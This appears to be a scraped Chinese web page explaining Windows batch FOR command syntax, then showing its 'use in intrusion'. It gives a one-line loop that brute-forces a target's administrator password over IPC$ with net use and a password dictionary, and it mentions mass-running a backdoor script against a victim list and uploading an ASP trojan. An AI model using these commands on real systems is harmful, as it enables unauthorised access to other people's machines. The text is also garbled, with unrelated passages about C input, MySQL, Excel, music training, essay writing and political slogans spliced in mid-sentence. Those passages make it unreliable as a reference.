
如if errorlevel 2 goto x2
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
for %variable in (set) do command [command-parameters]。for {%variable%%variable} in (set) do command [ commandlineoptions]。for /d %variable in (set) do command [command-parameters]。
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树批处理文件 注释。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到结束的一个数字序列。

因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前,每份文件都已被打开、读取并经过处理。处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 "options"参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。
这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额。通过 nth 符号指定 m符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
取得第二个符号,引用%j来取得第三个符号,引用%k。(2)当 scanf 从缓冲区中读取数字或字符串(非单个字符)时,若缓冲区中第一个字符是空格、tab或换行这些分隔符时,scanf 会将其忽略(即不读取)并清除缓冲区的字符,继续读取下一个字符,若缓冲区为空,则继续等待。当cin>>从缓冲区中读取数据(不论是字符、数字或字符串)时,若缓冲区中第一个字符是空格、tab或换行这些分隔符时,cin>>会将其忽略并清除,继续读取下一个字符,若缓冲区为空,则继续等待。

指定最多26个符号,只要不试图说明一个高于字母z或。【功能】 字节变量、它位变量、字变量均须用symbol【说明】 语句定义后才能使用。用户变量:以”@”开始,形式为”@变量名”,用户变量跟mysql客户端是绑定的,设置的变量,只对当前用户使用的客户端生效,声明或者定义用户变量使用set语句,如 set @var 若没有指定global 或session ,那么默认将会定义用户变量。
gets函数从标准的输入读取,如果使用gets函数给字符数组输入字符串时,字符数组不能指定长度,因为,只要字符数组的长度小于gets函数读取的行缓存的大小,即使你输入的字符数大于你所规定的字符数组的长度,gets函数也会接收所输入的全部字符,造成字符数组越界。-2023 错误的描述:引号括起的字符串的长度超出了引用串的最大长度:80个字符。主要算法:通过c来得到键盘输入的字符,进行判断是否合法,i的值来判断是否是相邻括号,t来记录相邻括号的个数,count来记录当前的嵌套数,k来记录最大的嵌套数,n来记录括号的对数。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外,FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:
~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称批处理文件 注释。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名

%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
assign指令还有如下用法:<#assign name1=value1 name2=value2 ... namen=valuen [in namespacehash]>,这个语法可以同时创建或替换多个顶层变量,此外,还有一种复杂的用法,如果需要创建或替换的变量值是一个复杂的表达式,则可以使用如下语法格式:<#assign name [in namespacehash]>capture this#assign>,在这个语法中,是指将assign指令的内容赋值给name变量.如下例子:。sumproduct函数多条件计数或者求和 一、多条件计数的语法: 1、sumproduct(--(条件1),--(条件2),„„,--(条件n)) 2、sumproduct((条件1)* (条件2)*„„* (条件n)) 二、多条件求和的语法: 1、sumproduct(--(条件1),--(条件2),„„,--(条件n),(求和 区域)) 2、sumproduct((条件1)* (条件2)*„„*(条件n),求和区域) 【其中两个减号(--)的作用是把条件的逻辑值转变为数值以便 计算,也可用+0 代替,但(--)比+0,*1都略快些。结构体的成员变量要对齐排放,结构体本身也要根据自身的有效对齐值圆整(就是结构体成员变量占用总长度需要是对结构体有效对齐值的整 数倍,结合下面例子理解)。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2:
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for/fi%in(dict.txt)donetuse\\ip\ipc$"i%"/u:"administrator"。「注」删除ipc连接使用命令“net use \主机b的ip\ipc$ /del”命令。最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"用i%来表示admin的密码,在dict.txt中这个取i%的值。
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,这样就ko了。
sample3:
特别是供料作文,供给的材料如果很长,要是一开头就不加选择地大量引用,或全盘搬用,必然重点不明,主旨不清,文字不精,陷于盲目性,而且下文再谈到它,必然还会重复,所以引用应有所取舍和选择。绝对音准的概念不是记住一个音之后再去记下一个音,一个有效的办法是找到一首第一个音与你要记住的音相同的歌,另外一个训练绝对音准的方法是反复听歌曲开头的第一个音,然后再通过相对音准去找到其他音,尽管每个人为了得到绝对音准所需要的练习的时间与练习量都有所不同,你一定曾经遇到过拥有绝对音准的人,绝对音准不是任何人都可以拥有的,那些说着“别人天生就有绝对音准”的人,在钢琴或者其他乐器上反复弹奏这一个音,将上一步的练习重复几天尝试在不告诉你自己第一个音是什么的情况下去猜测它...。好的最后的操作就是上传我们的asp后门木马这个木马大家可以到网上去找我用的是海阳的后门木马。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
•其中:参数image,dx,dy,dw,dh的用法与第二种调用格式相同,参数(sx,sy,sw,sh)表示源图像需要裁剪的范围,参数sx表示源图像被绘制部分的横坐标,参数sy表示源图像被绘制部分的纵坐标,参数sw表示源图像被绘制部分的宽度,参数sh表示源图像被绘制部分的高度,通过该方式,可以将源图像指定的范围以映射的方式,绘制到画布中的指定区域 。arglist 参数包含下列语法和部分(表 3.5):第3章vbscript 语句和过程·57·[byval | byref] varname[( )]表 3.5 arglist 语法的组成部分 组成部分 byval byref varname 说 明 表示该参数按值传递。arglist 参数包含下列语法和部分(表 3.7): [byval | byref] varname[( )]表 3.7 arglist 语法的组成部分 组成部分 byval byref varname 说明 表示该参数按值传递。
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-101467-1.html
你不能抱大腿
中国是一个爱好和平的国家
时间不定
台湾问题没有任何商量和考虑的余地